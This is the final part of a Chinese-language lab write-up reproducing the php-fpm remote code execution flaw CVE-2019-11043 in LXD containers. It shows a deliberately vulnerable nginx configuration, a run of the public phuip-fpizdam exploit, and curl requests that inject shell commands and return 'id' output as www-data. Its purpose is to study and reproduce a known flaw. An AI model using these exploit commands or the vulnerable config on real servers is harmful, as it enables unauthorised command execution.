在Linux 容器中对php-fpm缓冲区溢出漏洞的复现分析 ( CVE-2019-11043 )

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
         index index.html index.php;
          server_name _;
          location / {
             # First attempt to serve request as file, then
             # as directory, then fall back to displaying a 404.
             try_files $uri $uri/ =404;
         }
          # pass PHP scripts to FastCGI server
         #
         location ~ [^/].php(/|$) {
  include fastcgi.conf;
  # regex to split $uri to $fastcgi_script_name and $fastcgi_path
 fastcgi_split_path_info ^(.+.php)(/.+)$;
  # Check that the PHP script exists before passing it
 #try_files $fastcgi_script_name =404;
  # Bypass the fact that try_files resets $fastcgi_path_info
 # see: http://trac.nginx.org/nginx/ticket/321
 set $path_info $fastcgi_path_info;
 fastcgi_param PATH_INFO $path_info;
  fastcgi_index index.php;
              fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
        }
 }
切换到hacker容器并尝试利用。
0x04 漏洞利用
在hacker容器中,我们在容器上运行漏洞利用程序vulnerable。php-fpm确实受到了影响,可以用来进一步远程执行命令。
 ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php
 2019/10/28 14:39:24 Base status code is 200
 2019/10/28 14:39:25 Status code 502 for qsl=1765, adding as a candidate
 2019/10/28 14:39:25 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
 2019/10/28 14:39:25 Attack params found: --qsl 1760 --pisos 84 --skip-detect
 2019/10/28 14:39:25 Trying to set "session.auto_start=0"…
 2019/10/28 14:39:25 Detect() returned attack params: --qsl 1760 --pisos 84 --skip-detect
根据说明运行如下命令,漏洞利用代码每隔一段时间就会利用成功。
 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
 
Hello World
 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
Hello World
 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
 
Hello World
 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
Hello World
 ubuntu@hacker:~/phuip-fpizdam$
利用的方式是将/tmp/a帮助程序脚本保存在存在漏洞程序的主机上,然后,每次调用此帮助程序以执行攻击命令。
 ubuntu@vulnerable:~$ ls -l /tmp/a
 -rw-r--r-- 1 www-data www-data 32 Oct 28 14:41 /tmp/a
  ubuntu@vulnerable:~$ cat /tmp/a
 
  ubuntu@vulnerable:~$
0x05 结论
可以使用LXD作为开发和测试环境来评估此漏洞的重要性,不需要使用Docker进行测试。可以在许多Linux发行版中进行选择,包括Ubuntu,Debian,Centos,Fedora和openSUSE。
我们还可以在ubuntu:16.04设置一个vulnerable容器来研究PHP5上的此漏洞。
 

上一页  [1] [2] [3]